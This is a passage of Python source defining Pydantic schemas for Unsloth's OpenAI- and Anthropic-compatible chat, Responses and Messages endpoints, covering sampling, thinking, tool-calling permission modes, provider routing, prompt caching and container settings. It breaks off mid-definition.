min_p: float = Field(0.01, ge = 0.0, le = 1.0, description = "[x-unsloth] Min-p sampling threshold")
repetition_penalty: float = Field(
1.0, ge = 1.0, le = 2.0, description = "[x-unsloth] Repetition penalty"
)
image_base64: Optional[str] = Field(
None, description = "[x-unsloth] Base64-encoded image for vision models"
)
audio_base64: Optional[str] = Field(
None,
description = "[x-unsloth] Base64-encoded audio (wav/mp3/ogg/flac/m4a) for audio-input models",
)
use_adapter: Optional[Union[bool, str]] = Field(
None,
description = (
"[x-unsloth] Adapter control for compare mode. "
"null = no change (default), "
"false = disable adapters (base model), "
"true = enable the current adapter, "
"string = enable a specific adapter by name."
),
)
enable_thinking: Optional[bool] = Field(
None,
description = "[x-unsloth] Enable/disable thinking/reasoning mode for supported models",
)
reasoning_effort: Optional[
Literal["none", "minimal", "low", "medium", "high", "max", "xhigh"]
] = Field(
None,
description = "[x-unsloth] Reasoning effort level ('none'|'minimal'|'low'|'medium'|'high'|'max'|'xhigh'). OpenAI `/v1/responses` accepts model-dependent subsets; Anthropic adaptive thinking uses `max` as the top tier on Claude 4.6 Opus/Sonnet (inbound `xhigh` is mapped to `max`) and `xhigh` on Claude 4.7 Opus; local Harmony/gpt-oss templates support low|medium|high.",
)
preserve_thinking: Optional[bool] = Field(
None,
description = "[x-unsloth] When true, keep historical <think> blocks from past assistant turns in the prompt (Qwen3.6 templates). Independent of enable_thinking / reasoning_effort.",
)
thinking: Optional[ThinkingConfig] = Field(
None,
description = "[Anthropic-compatible] Thinking configuration. "
"Use {type: 'disabled'} to disable thinking, {type: 'enabled'} to enable.",
)
enable_tools: Optional[bool] = Field(
None,
description = "[x-unsloth] Enable tool calling for supported models",
)
enabled_tools: Optional[list[str]] = Field(
None,
description = (
"[x-unsloth] List of enabled tool names. Local GGUF/safetensors models "
"accept ['web_search', 'python', 'terminal', 'render_html']. External "
"providers accept ['web_search', 'web_fetch', 'code_execution'] for "
"Anthropic and ['web_search', 'code_execution', 'image_generation'] for "
"OpenAI Responses. If None, all local tools are enabled and no "
"server-side tools are forwarded."
),
)
mcp_enabled: Optional[bool] = Field(
None,
description = "[x-unsloth] When true, append tools from every enabled MCP server to this request's tool list.",
)
confirm_tool_calls: Optional[bool] = Field(
None,
description = "[x-unsloth] When true, pause before each tool call and wait for the user to allow/deny it via POST /api/inference/tool-confirm.",
)
bypass_permissions: Optional[bool] = Field(
False,
description = "[x-unsloth] Bypass Permissions: when true, skip the tool-call confirmation gate AND disable the python/terminal execution sandbox (safety checks, command blocklist, resource limits). Secret env vars are still stripped. Takes precedence over confirm_tool_calls.",
)
permission_mode: Optional[str] = Field(
None,
description = (
"[x-unsloth] Permission level for local tool calls. 'ask' pauses every "
"call for approval; 'ask'/'auto' enable the confirmation gate on their "
"own (needs a streaming request to deliver prompts). 'auto' ('Approve for "
"me') only pauses calls detected as high risk (credential reads, privilege "
"escalation, destructive/persistence, network exfil); ordinary calls run "
"immediately, and the sandbox stays on. 'full' is equivalent to "
"bypass_permissions=true (no confirmation, no sandbox). Unset defaults to "
"'auto' for the per-call gate; a non-streaming request without an explicit "
"mode cannot prompt and runs the loop. An unrecognized value (e.g. from a "
"newer client) is treated as 'ask'."
),
)
auto_heal_tool_calls: Optional[bool] = Field(
True,
description = "[x-unsloth] Auto-detect and fix malformed tool calls from model output.",
)
nudge_tool_calls: Optional[bool] = Field(
None,
description = (
"[x-unsloth] Opt-in, non-streaming client-tool passthrough only: when the "
"model emitted a tool signal that healing could not repair, retry ONCE with "
"a short nudge appended (the retry shares the full prompt prefix, so the "
"server's KV cache is reused). Default off; UNSLOTH_TOOL_CALL_NUDGE=1 flips "
"the process default."
),
)
context_overflow: Optional[Literal["error", "truncate_middle"]] = Field(
None,
description = (
"[x-unsloth] Passthrough behavior when the prompt exceeds the real "
"context window. 'error' (default) returns a 400 with "
"code=context_length_exceeded. 'truncate_middle' drops middle "
"turn-groups (system prompt, first turn, and recent turns kept; "
"tool calls stay paired with their results) and retries."
),
)
max_tool_calls_per_message: Optional[int] = Field(
25,
ge = 0,
description = "[x-unsloth] Maximum number of tool call iterations per message (0 = disabled, 9999 = unlimited).",
)
tool_call_timeout: Optional[int] = Field(
300,
ge = 1,
description = "[x-unsloth] Timeout in seconds for each tool call execution (9999 = no limit).",
)
session_id: Optional[str] = Field(
None,
description = "[x-unsloth] Session/thread ID for scoping tool execution sandbox.",
)
thread_id: Optional[str] = Field(
None,
description = "[x-unsloth] Conversation ID for scoping stateful tool sessions (e.g. stdio MCP); stays per-thread where session_id may be shared project-wide.",
)
rag_scope: Optional[dict] = Field(
None,
description = (
"[x-unsloth] Hidden RAG retrieval scope for the search_knowledge_base "
"tool: {kb_id?, thread_id?, default_top_k?, mode?, autoinject?, "
"autoinject_min_score?}. Candidate pools and the RRF constant come from "
"server config. The model never sees this; the server resolves which "
"documents to search."
),
)
cancel_id: Optional[str] = Field(
None,
description = "[x-unsloth] Per-request cancellation token. Frontend sends a fresh UUID per run so /inference/cancel matches one specific generation.",
)
# ── External provider routing (x-unsloth extensions) ──────────
provider_id: Optional[str] = Field(
None,
description = "[x-unsloth] Saved provider config ID. If set with encrypted_api_key, routes to external LLM.",
)
provider_type: Optional[str] = Field(
None,
description = "[x-unsloth] Provider type (e.g. 'openai', 'mistral'). Used if provider_id is not set.",
)
external_model: Optional[str] = Field(
None,
description = "[x-unsloth] Model ID at the external provider.",
)
encrypted_api_key: Optional[str] = Field(
None,
description = "[x-unsloth] RSA-encrypted, base64-encoded API key for the external provider.",
)
provider_base_url: Optional[str] = Field(
None,
description = "[x-unsloth] Override base URL for the external provider.",
)
enable_prompt_caching: Optional[Union[bool, str]] = Field(
None,
description = (
"[x-unsloth] Opt in to provider-side prompt caching. On Anthropic, "
"boolean true attaches cache_control={type:ephemeral} to the system "
"block so the static prefix is reused across turns. On OpenAI cloud, "
"caching is automatic for prompts >=1024 tokens and the boolean is "
"informational. On Gemini, pass a string cache resource name such "
"as `cachedContents/abc123` to attach `cachedContent` on the native "
"request (boolean true is a no-op on Gemini because creating the "
"cache requires a separate POST /cachedContents call). Ignored for "
"every other provider. Treated as enabled when omitted."
),
)
@field_validator("enable_prompt_caching", mode = "before")
@classmethod
def _coerce_enable_prompt_caching(cls, value: Any) -> Any:
"""Coerce JSON bool strings back to bool. Widening to Union[bool, str] for
Gemini cache names would let `"false"` read as truthy, so canonical bool
literals are coerced to keep explicit opt-outs working."""
if isinstance(value, str):
lowered = value.strip().lower()
# Match Pydantic v1's bool coercion table; anything else stays a
# string for Gemini's cachedContent resource path.
if lowered in ("true", "t", "1", "yes", "y", "on"):
return True
if lowered in ("false", "f", "0", "no", "n", "off"):
return False
return value
prompt_cache_ttl: Optional[str] = Field(
None,
description = (
"[x-unsloth] Anthropic cache_control TTL. Defaults to the 5-minute "
"ephemeral pool when omitted. Pass `1h` to write into the 1-hour "
"pool instead -- 1h writes are billed at 2x base input vs 1.25x "
"for 5m, but reads stay at 0.1x for both, so 1h pays off the "
"moment a single extra read lands more than 5 minutes after the "
"write. Only `5m` and `1h` are forwarded; any other value is "
"silently ignored downstream so a stale frontend can't make the "
"API 422 on the request. No-op on every non-Anthropic provider."
),
)
compaction_threshold: Optional[int] = Field(
None,
ge = 1,
le = 2_000_000,
description = (
"[x-unsloth] Server-side context compaction trigger, in tokens. "
"Per-provider routing:\n"
" - Anthropic (Opus 4.6+, Sonnet 4.6, Mythos preview): attaches "
"the `compact_20260112` edit and the `compact-2026-01-12` beta "
"header. The upstream floor is 50k; `_stream_anthropic` clamps "
"lower values up.\n"
" - OpenAI cloud (api.openai.com) and Azure OpenAI Foundry "
"(*.openai.azure.com): attaches "
"`context_management:[{type:'compaction', compact_threshold:N}]` "
"to /v1/responses. Effective floor is around 200k (OpenAI's "
"canonical example); values below it surface "
"`compact_threshold is not enabled` 400s upstream.\n"
"Schema floor stays at ge=1 (any positive int) so the field is a "
"silent no-op on non-cloud OpenAI-compatible bases (ollama / "
"llama.cpp / vLLM) and every non-compaction-capable provider "
"rather than returning 422 at request validation time. Per-"
"provider floors are enforced in the corresponding stream helpers."
),
)
openai_code_exec_container_id: Optional[str] = Field(
None,
description = (
"[x-unsloth] OpenAI shell-tool container id from the prior response "
"in the same chat thread. When set and `code_execution` is in "
"`enabled_tools`, the next /v1/responses call uses "
"environment.type='container_reference' so filesystem state "
"persists across turns. Unset → environment.type='container_auto' "
"and OpenAI creates a fresh container. Only meaningful for the "
"OpenAI cloud + gpt-5.5 family path; ignored otherwise."
),
)
anthropic_code_exec_container_id: Optional[str] = Field(
None,
description = (
"[x-unsloth] Anthropic code_execution container id from the prior "
"response in the same chat thread. When set and `code_execution` "
"is in `enabled_tools`, the next /v1/messages call carries a "
"top-level `container` field so the model sees filesystem state "
"from earlier turns. Unset → Anthropic auto-creates a fresh "
"container. Stale ids surface a 4xx with a `container_expired` / "
"`container_not_found` hint; the backend emits a synthetic "
"`container_invalidated` _toolEvent so the next turn falls back "
"to auto-create."
),
)
fast_mode: Optional[bool] = Field(
None,
description = (
"[x-unsloth] Anthropic fast-mode toggle. On Claude Opus 4.6 / "
"4.7 adds the `fast-mode-2026-02-01` beta header and sends "
"`speed: 'fast'` for higher OTPS at premium pricing. Silently "
"ignored on every other model + provider. See "
"https://platform.claude.com/docs/en/build-with-claude/fast-mode"
),
)
@model_validator(mode = "after")
def _resolve_missing_tool_call_ids(self) -> "ChatCompletionRequest":
"""Fill missing tool_call_id by walking back to the preceding assistant.
OpenAI / Anthropic passthrough require the result id to match the
assistant's tool_calls[].id. Prefer function.name match, else first
unconsumed tool_call; synth a random id only if none exists. A user
turn breaks the lookup.
"""
# Pre-mark explicit ids so a missing-id sibling can't steal a claimed one.
consumed: set[tuple[int, int]] = set()
def _mark_consumed(start_idx: int, tool_call_id: str) -> None:
for asst_idx in range(start_idx - 1, -1, -1):
prev = self.messages[asst_idx]
if prev.role == "user":
break
if prev.role != "assistant" or not prev.tool_calls:
continue
for tc_idx, tc in enumerate(prev.tool_calls):
if isinstance(tc, dict) and tc.get("id") == tool_call_id:
consumed.add((asst_idx, tc_idx))
return
for tool_idx, msg in enumerate(self.messages):
if msg.role == "tool" and msg.tool_call_id:
_mark_consumed(tool_idx, msg.tool_call_id)
for tool_idx, msg in enumerate(self.messages):
if msg.role != "tool" or msg.tool_call_id:
continue
picked: str | None = None
for asst_idx in range(tool_idx - 1, -1, -1):
prev = self.messages[asst_idx]
if prev.role != "assistant" or not prev.tool_calls:
if prev.role == "user":
break
continue
name_match = None
fallback = None
for tc_idx, tc in enumerate(prev.tool_calls):
if (asst_idx, tc_idx) in consumed:
continue
if not isinstance(tc, dict):
continue
tc_id = tc.get("id")
if not tc_id:
continue
function = tc.get("function")
function_name = function.get("name") if isinstance(function, dict) else None
if msg.name and function_name == msg.name:
name_match = (tc_id, asst_idx, tc_idx)
break
if fallback is None:
fallback = (tc_id, asst_idx, tc_idx)
chosen = name_match or fallback
if chosen is not None:
picked, a, t = chosen
consumed.add((a, t))
break
if picked is None:
import secrets as _secrets
picked = f"call_{_secrets.token_hex(8)}"
msg.tool_call_id = picked
return self
@model_validator(mode = "after")
def _map_thinking_to_enable_thinking(self) -> "ChatCompletionRequest":
"""Map Anthropic-style ``thinking`` parameter to internal ``enable_thinking``.
``thinking: {type: 'enabled'}`` sets ``enable_thinking = True`` and
``thinking: {type: 'disabled'}`` sets ``enable_thinking = False``.
``enable_thinking`` takes precedence when both are provided so that
callers who already use the internal field are unaffected. Invalid
``thinking`` shapes are rejected at validation time (422).
"""
if self.thinking is not None and self.enable_thinking is None:
self.enable_thinking = self.thinking.type == "enabled"
return self
@field_validator("permission_mode", mode = "before")
@classmethod
def _coerce_permission_mode(cls, value: Any) -> Any:
# Accept any string so an unknown mode degrades to 'ask' instead of a
# 422; mirrors the tool loops' unknown -> ask fallback.
return _normalize_permission_mode(value)
@model_validator(mode = "after")
def _fold_full_permission_into_bypass(self) -> "ChatCompletionRequest":
"""permission_mode='full' is the documented equivalent of
bypass_permissions=true, so fold it in before any route guard reads
the flag (else a full request would trip the confirm-gate rejections)."""
if self.permission_mode == "full":
self.bypass_permissions = True
elif self.bypass_permissions:
# Legacy bypass callers map onto Full access (mirrors the tool loop).
self.permission_mode = "full"
elif self.permission_mode == "off":
# "Off" never prompts, so route guards must see confirm disabled.
self.confirm_tool_calls = False
elif (
self.permission_mode is None
and self.confirm_tool_calls is True
and not (self.provider_id or self.provider_type)
):
# An explicit confirm_tool_calls=True with no mode opted into the
# pre-permission-mode contract of gating every call, so resolve it to
# "ask" rather than let the loop apply the "auto" default, which would
# silently weaken that opt-in to high-risk calls only. Unlike the "ask"
# branch below this only sets permission_mode, which is inert unless
# Unsloth's own tool loop runs, so it needs no enable_tools/mcp gate --
# deliberate, since a process-wide --enable-tools policy can force the
# loop when the request sets neither flag. A bare unset request
# (confirm_tool_calls is None) still defaults to auto.
self.permission_mode = "ask"
elif (
self.permission_mode == "ask"
and self.confirm_tool_calls is None
and not (self.provider_id or self.provider_type)
and (self.enable_tools is True or bool(self.mcp_enabled))
):
# "Ask" gates every call, so a direct API caller that omits the legacy
# confirm flag must still hit the confirmation gate for Unsloth's own
# tool loop. An explicit confirm_tool_calls=False wins over the mode
# (mirrors _permission_mode_confirm and the Anthropic pre-switch guard),
# so only self-enable when the flag is unset. Only self-enable when that
# loop is actually requested
# (enable_tools / mcp_enabled) -- the router enters the loop on those
# signals, not on enabled_tools alone (which merely filters which tools
# run). A plain client-tool passthrough (client-supplied `tools` that
# Unsloth does not execute) must route verbatim, and external-provider
# routing rejects confirm_tool_calls with tools, so skip the fold there.
#
# "auto" is deliberately NOT folded: it only prompts for a call the
# classifier flags, so leaving confirm_tool_calls unset lets the route's
# _confirm_gate_needs_stream apply the safe-only exception (a safe-only
# auto selection needs no stream) instead of an explicit-confirm forcing
# stream=true. The mode still drives the loop's per-call gate.
self.confirm_tool_calls = True
return self
class ToolConfirmRequest(BaseModel):
session_id: Optional[str] = None
approval_id: Optional[str] = None
decision: Literal["allow", "deny"] = "deny"
# ── OpenAI shell-tool container management ─────────────────────
class OpenAIContainerRequest(BaseModel):
"""Shared body for the OpenAI container endpoints (list / create / delete).
Carries the encrypted API key + base URL so the route can decrypt and proxy
to the user's account, keeping the key off backend persistent storage.
"""
encrypted_api_key: str = Field(
...,
description = "[x-unsloth] RSA-encrypted, base64-encoded OpenAI API key.",
)
provider_base_url: Optional[str] = Field(
None,
description = "[x-unsloth] OpenAI base URL. Only api.openai.com is supported; non-cloud bases are rejected with 400.",
)
class CreateOpenAIContainerBody(OpenAIContainerRequest):
name: str = Field(
...,
min_length = 1,
max_length = 256,
description = "Human-readable container name. Surfaces in the picker UI.",
)
ttl_minutes: int = Field(
20,
ge = 1,
le = 20,
description = (
"Idle-timeout TTL the new container will inherit (anchor="
"last_active_at). OpenAI hard-caps this at 20 minutes and "
"rejects larger values with integer_above_max_value."
),
)
class DeleteOpenAIContainerBody(OpenAIContainerRequest):
container_id: str = Field(
...,
description = "OpenAI container id (cntr_...) to delete.",
)
class OpenAIContainerSummary(BaseModel):
"""One row from GET /v1/containers, reshaped for the UI."""
id: str
name: Optional[str] = None
created_at: Optional[int] = None
last_active_at: Optional[int] = None
expires_after_minutes: Optional[int] = None
status: Optional[str] = None
class ListOpenAIContainersResponse(BaseModel):
containers: list[OpenAIContainerSummary]
# ── Streaming response chunks ────────────────────────────────────
class ChoiceDelta(BaseModel):
"""Delta content for a streaming chunk."""
role: Optional[str] = None
content: Optional[str] = None
reasoning_content: Optional[str] = None
tool_calls: Optional[list[dict]] = None
OpenAIFinishReason = Literal["stop", "length", "tool_calls", "content_filter", "function_call"]
class ChunkChoice(BaseModel):
"""A single choice in a streaming chunk."""
index: int = 0
delta: ChoiceDelta
finish_reason: Optional[OpenAIFinishReason] = None
logprobs: Optional[dict] = None
class ChatCompletionChunk(BaseModel):
"""A single SSE chunk in OpenAI streaming format."""
id: str = Field(default_factory = lambda: f"chatcmpl-{uuid.uuid4().hex[:12]}")
object: Literal["chat.completion.chunk"] = "chat.completion.chunk"
created: int = Field(default_factory = lambda: int(time.time()))
model: str = "default"
choices: list[ChunkChoice]
usage: Optional[CompletionUsage] = None
timings: Optional[dict] = None
# ── Non-streaming response ───────────────────────────────────────
class CompletionMessage(BaseModel):
"""The assistant's complete response message."""
role: Literal["assistant"] = "assistant"
# ``None`` on a pure tool-call turn (OpenAI content=null); string otherwise.
content: Optional[str] = None
refusal: Optional[str] = None
reasoning_content: Optional[str] = None
tool_calls: Optional[list[dict]] = None
class CompletionChoice(BaseModel):
"""A single choice in a non-streaming response."""
index: int = 0
message: CompletionMessage
finish_reason: OpenAIFinishReason = "stop"
logprobs: Optional[dict] = None
class CompletionUsage(BaseModel):
"""Token usage statistics (approximate)."""
prompt_tokens: int = 0
completion_tokens: int = 0
total_tokens: int = 0
prompt_tokens_details: Optional[dict] = Field(
default_factory = lambda: {"cached_tokens": 0, "audio_tokens": 0}
)
completion_tokens_details: Optional[dict] = Field(
default_factory = lambda: {
"reasoning_tokens": 0,
"audio_tokens": 0,
"accepted_prediction_tokens": 0,
"rejected_prediction_tokens": 0,
}
)
class ChatCompletion(BaseModel):
"""Non-streaming chat completion response."""
id: str = Field(default_factory = lambda: f"chatcmpl-{uuid.uuid4().hex[:12]}")
object: Literal["chat.completion"] = "chat.completion"
created: int = Field(default_factory = lambda: int(time.time()))
model: str = "default"
choices: list[CompletionChoice]
usage: CompletionUsage = Field(default_factory = CompletionUsage)
system_fingerprint: Optional[str] = None
# =====================================================================
# OpenAI Responses API Models (/v1/responses)
# =====================================================================
# ── Request models ──────────────────────────────────────────────
class ResponsesInputTextPart(BaseModel):
"""Text content part in a Responses API message (type=input_text)."""
type: Literal["input_text"]
text: str
class ResponsesInputImagePart(BaseModel):
"""Image content part in a Responses API message (type=input_image)."""
type: Literal["input_image"]
image_url: str = Field(..., description = "data:image/png;base64,... or https://...")
detail: Optional[Literal["auto", "low", "high", "original"]] = "auto"
class ResponsesOutputTextPart(BaseModel):
"""Assistant ``output_text`` content part replayed on subsequent turns.
Clients looping on a stateless Responses endpoint round-trip prior assistant
messages as ``output_text`` parts; we keep the text and ignore the
annotations/logprobs when flattening into Chat Completions.
"""
type: Literal["output_text"]
text: str
annotations: Optional[list] = None
logprobs: Optional[list] = None
model_config = {"extra": "allow"}
class ResponsesUnknownContentPart(BaseModel):
"""Catch-all for unmodelled content-part types.
Keeps validation green for newer part types (e.g. ``input_audio``); skipped
during normalisation rather than rejected with a 422.
"""
type: str
model_config = {"extra": "allow"}
ResponsesContentPart = Union[
ResponsesInputTextPart,
ResponsesInputImagePart,
ResponsesOutputTextPart,
ResponsesUnknownContentPart,
]
class ResponsesInputMessage(BaseModel):
"""A single message in the Responses API input array."""
type: Optional[Literal["message"]] = None
role: Literal["system", "user", "assistant", "developer"]
content: Union[str, list[ResponsesContentPart]]
# Codex attaches a `phase` field to assistant messages and requires clients
# to preserve it across turns; we round-trip it, llama-server ignores it.
model_config = {"extra": "allow"}
class ResponsesFunctionCallInputItem(BaseModel):
"""A prior assistant function_call replayed in a multi-turn Responses input.
Tool calls are top-level input items (not nested), correlated by ``call_id``.
"""
type: Literal["function_call"]
id: Optional[str] = Field(None, description = "Item id assigned by the server (e.g. fc_...)")
call_id: str = Field(
...,
description = "Correlation id matching a function_call_output on the next turn.",
)
name: str
arguments: str = Field(..., description = "JSON string of the arguments the model produced.")
status: Optional[Literal["in_progress", "completed", "incomplete"]] = None
class ResponsesFunctionCallOutputInputItem(BaseModel):
"""A tool result supplied by the client for a prior function_call.
Replaces Chat Completions' ``role="tool"`` message. Correlated to its
originating call by ``call_id``.
"""
type: Literal["function_call_output"]
id: Optional[str] = None
call_id: str
output: Union[str, list] = Field(
..., description = "String or content-array result of the tool call."
)
status: Optional[Literal["in_progress", "completed", "incomplete"]] = None
class ResponsesUnknownInputItem(BaseModel):
"""Catch-all for unmodelled Responses input item types.
Covers ``reasoning`` items and future types. Dropped during normalisation
(GGUFs can't consume them), but kept in the union so unrelated turns don't 422.
"""
type: str
model_config = {"extra": "allow"}
def _responses_input_item_discriminator(v: Any) -> str:
"""Route a Responses input item to the correct tagged variant.
Pydantic's smart-union matching misreports errors when a strict-``Literal``
variant doesn't match; an explicit discriminator makes routing deterministic
and falls through to the catch-all.
"""
if isinstance(v, dict):
t = v.get("type")
r = v.get("role")
else:
t = getattr(v, "type", None)
r = getattr(v, "role", None)
if t == "function_call":
return "function_call"
if t == "function_call_output":
return "function_call_output"
if r is not None or t == "message":
return "message"
return "unknown"
ResponsesInputItem = Annotated[
Union[
Annotated[ResponsesInputMessage, Tag("message")],
Annotated[ResponsesFunctionCallInputItem, Tag("function_call")],
Annotated[ResponsesFunctionCallOutputInputItem, Tag("function_call_output")],
Annotated[ResponsesUnknownInputItem, Tag("unknown")],
],
Discriminator(_responses_input_item_discriminator),
]
class ResponsesFunctionTool(BaseModel):
"""Flat function-tool definition for the Responses API request.
Unlike Chat Completions (nested under a ``"function"`` key), this uses a flat
shape with ``type``/``name``/``description``/``parameters``/``strict`` at top level.
"""
type: Literal["function"]
name: str
description: Optional[str] = None
parameters: Optional[dict] = None
strict: Optional[bool] = None
class ResponsesRequest(BaseModel):
"""OpenAI Responses API request."""
model: str = Field("default", description = "Model identifier")
input: Union[str, list[ResponsesInputItem]] = Field(
default = [],
description = "Input text or list of messages / function_call / function_call_output items",
)
instructions: Optional[str] = Field(None, description = "System / developer instructions")
temperature: Optional[float] = Field(None, ge = 0.0, le = 2.0)
top_p: Optional[float] = Field(None, ge = 0.0, le = 1.0)
max_output_tokens: Optional[int] = Field(None, ge = 1)
stream: bool = Field(False, description = "Whether to stream the response via SSE")
# OpenAI function-calling fields, forwarded via the Chat Completions
# pass-through. Plain list so built-in tool shapes round-trip without
# validation errors; the translator forwards only ``type=="function"`` entries.
tools: Optional[list[dict]] = Field(
None,
description = (
"Responses-shape function tool definitions. Entries with "
'`type="function"` are translated to the Chat Completions nested '
"shape before being forwarded to llama-server; other tool types "
"(built-in web_search, file_search, mcp, ...) are accepted for SDK "
"compatibility but ignored on the llama-server passthrough."
),
)
tool_choice: Optional[Any] = Field(
None,
description = (
"'auto' | 'required' | 'none' | {'type': 'function', 'name': ...} — "
"the Responses-shape forcing object is translated to the Chat "
"Completions nested shape internally."
),
)
parallel_tool_calls: Optional[bool] = None
previous_response_id: Optional[str] = None
store: Optional[bool] = None
metadata: Optional[dict] = None
truncation: Optional[Any] = None
user: Optional[str] = None
text: Optional[Any] = None
reasoning: Optional[Any] = None
model_config = {"extra": "allow"}
# ── Response models ─────────────────────────────────────────────
class ResponsesOutputTextContent(BaseModel):
"""A text content block inside an output message."""
type: Literal["output_text"] = "output_text"
text: str
annotations: list = Field(default_factory = list)
class ResponsesOutputMessage(BaseModel):
"""An output message in the Responses API response."""
type: Literal["message"] = "message"
id: str = Field(default_factory = lambda: f"msg_{uuid.uuid4().hex[:12]}")
status: Literal["completed", "in_progress"] = "completed"
role: Literal["assistant"] = "assistant"
content: list[ResponsesOutputTextContent] = Field(default_factory = list)
class ResponsesOutputReasoningContent(BaseModel):
"""A reasoning text content block inside a reasoning output item."""
type: Literal["reasoning_text"] = "reasoning_text"
text: str
class ResponsesOutputReasoning(BaseModel):
"""A top-level reasoning output item in the Responses API response."""
type: Literal["reasoning"] = "reasoning"
id: str = Field(default_factory = lambda: f"rs_{uuid.uuid4().hex[:12]}")
status: Literal["completed", "in_progress", "incomplete"] = "completed"
summary: list = Field(default_factory = list)
content: Optional[list[ResponsesOutputReasoningContent]] = None
class ResponsesOutputFunctionCall(BaseModel):
"""A function-call output item in the Responses API response.
Each tool call is its own top-level ``output`` item, correlated via ``call_id``.
"""
type: Literal["function_call"] = "function_call"
id: str = Field(default_factory = lambda: f"fc_{uuid.uuid4().hex[:12]}")
call_id: str
name: str
arguments: str = Field(..., description = "JSON string of the arguments the model produced.")
status: Literal["completed", "in_progress", "incomplete"] = "completed"
ResponsesOutputItem = Union[
ResponsesOutputMessage,
ResponsesOutputReasoning,
ResponsesOutputFunctionCall,
]
class ResponsesUsage(BaseModel):
"""Token usage for a Responses API response (input_tokens, not prompt_tokens)."""
input_tokens: int = 0
output_tokens: int = 0
total_tokens: int = 0
class ResponsesResponse(BaseModel):
"""Top-level Responses API response object."""
id: str = Field(default_factory = lambda: f"resp_{uuid.uuid4().hex[:12]}")
object: Literal["response"] = "response"
created_at: int = Field(default_factory = lambda: int(time.time()))
status: Literal["completed", "in_progress", "failed"] = "completed"
model: str = "default"
output: list[ResponsesOutputItem] = Field(default_factory = list)
usage: ResponsesUsage = Field(default_factory = ResponsesUsage)
error: Optional[Any] = None
incomplete_details: Optional[Any] = None
instructions: Optional[str] = None
metadata: dict = Field(default_factory = dict)
temperature: Optional[float] = None
top_p: Optional[float] = None
max_output_tokens: Optional[int] = None
previous_response_id: Optional[str] = None
text: Optional[Any] = None
tool_choice: Optional[Any] = None
tools: list = Field(default_factory = list)
truncation: Optional[Any] = None
# =====================================================================
# Anthropic Messages API Models (/v1/messages)
# =====================================================================
# ── Request models ─────────────────────────────────────────────
class AnthropicTextBlock(BaseModel):
type: Literal["text"]
text: str
class AnthropicImageSource(BaseModel):
type: Literal["base64", "url"]
media_type: Optional[str] = None
data: Optional[str] = None
url: Optional[str] = None
class AnthropicImageBlock(BaseModel):
type: Literal["image"]
source: AnthropicImageSource
class AnthropicToolUseBlock(BaseModel):
type: Literal["tool_use"]
id: str
name: str
input: dict
class AnthropicToolResultBlock(BaseModel):
type: Literal["tool_result"]
tool_use_id: str
content: Union[str, list] = ""
@field_validator("content", mode = "before")
@classmethod
def _coerce_null_content(cls, v):
# Some clients send null content for an empty tool result; the str|list
# union would 400 on it, so treat null as "".
return "" if v is None else v
# Block types the converter translates explicitly. Anything else (thinking /
# redacted_thinking, a provider block a resumed session replays, or a future type)
# is accepted as an unknown block and dropped by the converter, rather than 400-ing
# the whole request on strict validation.
_KNOWN_ANTHROPIC_BLOCK_TYPES = frozenset({"text", "image", "tool_use", "tool_result"})
class AnthropicUnknownBlock(BaseModel):
type: str
model_config = {"extra": "allow"}
@field_validator("type")
@classmethod
def _only_unknown_types(cls, v):
# Known types parse as their typed models above (so a malformed known block
# still fails cleanly); this fallback only catches the rest.
if v in _KNOWN_ANTHROPIC_BLOCK_TYPES:
raise ValueError("known block type handled by its typed model")
return v
AnthropicContentBlock = Union[
AnthropicTextBlock,
AnthropicImageBlock,
AnthropicToolUseBlock,
AnthropicToolResultBlock,
AnthropicUnknownBlock,
]
def _anthropic_content_to_system_text(content: Any) -> str:
"""Convert misplaced system message content into Anthropic system text."""
if content is None: # null content must not become the literal "None"
return ""
if isinstance(content, str):
return content
if isinstance(content, list):
parts: list[str] = []
for block in content:
if isinstance(block, dict) and block.get("type") == "text":
text = block.get("text")
if isinstance(text, str):
parts.append(text)
continue
if block is not None:
parts.append(str(block))
return "\n\n".join(part for part in parts if part)
return str(content)
def _merge_anthropic_system(system: Any, additions: list[str]) -> Any:
if not additions:
return system
addition_blocks = [{"type": "text", "text": text} for text in additions if text.strip()]
if not addition_blocks:
return system
if system is None:
return addition_blocks[0]["text"] if len(addition_blocks) == 1 else addition_blocks
if isinstance(system, str):
return "\n\n".join([system, *[block["text"] for block in addition_blocks]])
if isinstance(system, list):
return [*system, *addition_blocks]
return system
class AnthropicMessage(BaseModel):
role: Literal["user", "assistant"]
content: Union[str, list[AnthropicContentBlock]]
@model_validator(mode = "before")
@classmethod
def _normalize_content(cls, data):
# Role-aware leniency that never silently drops real user input:
# - assistant: a resumed tool-only turn's null content -> "" (str|list would
# 400 on null; "" keeps the converter's `for block in content` safe).
# Unknown blocks (thinking / future types) validate via
# AnthropicUnknownBlock and are dropped by the converter.
# - user: keep strict. Null user content stays None so str|list rejects it
# (400) rather than forwarding an empty prompt; and reject block types the
# converter cannot translate, since it silently skips unknown user blocks
# -- a user turn made only of them would validate yet send no content
# (silent data loss).
if not isinstance(data, dict):
return data
content = data.get("content")
if data.get("role") == "assistant":
# Coerce only an explicit null (resumed tool-only turn). A missing
# content key stays malformed so the required-field check still 400s.
if "content" in data and content is None:
return {**data, "content": ""}
return data
if isinstance(content, list):
for block in content:
btype = (
block.get("type") if isinstance(block, dict) else getattr(block, "type", None)
)
# Guard the value: a non-string type is unsupported too, and a
# membership test on an unhashable value would raise TypeError
# (escaping as a 500 instead of a clean 400).
if not isinstance(btype, str) or btype not in _KNOWN_ANTHROPIC_BLOCK_TYPES:
raise ValueError(f"unsupported content block type {btype!r} in a user message")
return data
class AnthropicTool(BaseModel):
# Client tools have input_schema; server tools may only have type/name.
type: Optional[str] = None
name: Optional[str] = None
description: Optional[str] = None
input_schema: Optional[dict] = None
model_config = {"extra": "allow"}
class AnthropicMessagesRequest(BaseModel):
model: str = "default"
max_tokens: Optional[int] = None
messages: list[AnthropicMessage]
system: Optional[Union[str, list]] = None
tools: Optional[list[AnthropicTool]] = None
tool_choice: Optional[Any] = None
stream: bool = False
temperature: Optional[float] = None
top_p: Optional[float] = None
top_k: Optional[int] = None
stop_sequences: Optional[list[str]] = None
metadata: Optional[dict] = None
# [x-unsloth] extensions mirroring the OpenAI endpoint convenience fields
min_p: Optional[float] = Field(
None, ge = 0.0, le = 1.0, description = "[x-unsloth] Min-p sampling threshold"
)
repetition_penalty: Optional[float] = Field(
None, ge = 1.0, le = 2.0, description = "[x-unsloth] Repetition penalty"
)
presence_penalty: Optional[float] = Field(
None, ge = 0.0, le = 2.0, description = "[x-unsloth] Presence penalty"
)
enable_tools: Optional[bool] = None
enabled_tools: Optional[list[str]] = None
session_id: Optional[str] = None
thread_id: Optional[str] = Field(
None,
